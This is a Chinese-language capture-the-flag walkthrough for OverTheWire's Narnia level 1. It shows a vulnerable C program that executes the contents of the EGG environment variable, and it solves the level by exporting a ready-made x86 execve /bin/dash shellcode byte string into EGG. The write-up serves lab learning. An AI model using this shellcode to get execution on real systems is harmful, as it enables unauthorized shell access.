首页 > 代码库 > Wargame narnia level 1 (中文攻略)
Wargame narnia level 1 (中文攻略)
拿着我们的第0关得到的密码XXXX进入第1关
ssh narnia1@narnia.labs.overthewire.org
cat narnia1.c
#include <stdio.h> int main()
{ int (*ret)(); if(getenv("EGG")==NULL){ printf("Give me something to execute at the env-variable EGG\n"); exit(1); } printf("Trying to execute EGG!\n"); ret = getenv("EGG"); ret(); return 0; }
这个程序意思也很明显,判断一下环境变量EGG是否为空,然后跳到EGG执行(即执行EGG里面的指令)
所以…… 在EGG里面放一个execv(),也就可以执行了。
可以用
export 变量名= $‘ shellcode‘ 来改变环境变量
Shellcode的话,可以自己写,也可以找现成的。
我用的是别人写好的。
http://shell-storm.org/shellcode/files/shellcode-756.php execv()
\xeb\x18\x5e\x31\xc0\x88\x46\x09\x89\x76\x0a\x89\x46\x0e\xb0\x0b\x89\xf3\x8d\x4e\x0a\x8d\x56\x0e\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x64\x61\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43
OK,成功了。
声明:以上内容来自用户投稿及互联网公开渠道收集整理发布,本网站不拥有所有权,未作人工编辑处理,也不承担相关法律责任,若内容有误或涉及侵权可进行投诉: 投诉/举报 工作人员会在5个工作日内联系你,一经查实,本站将立刻删除涉嫌侵权内容。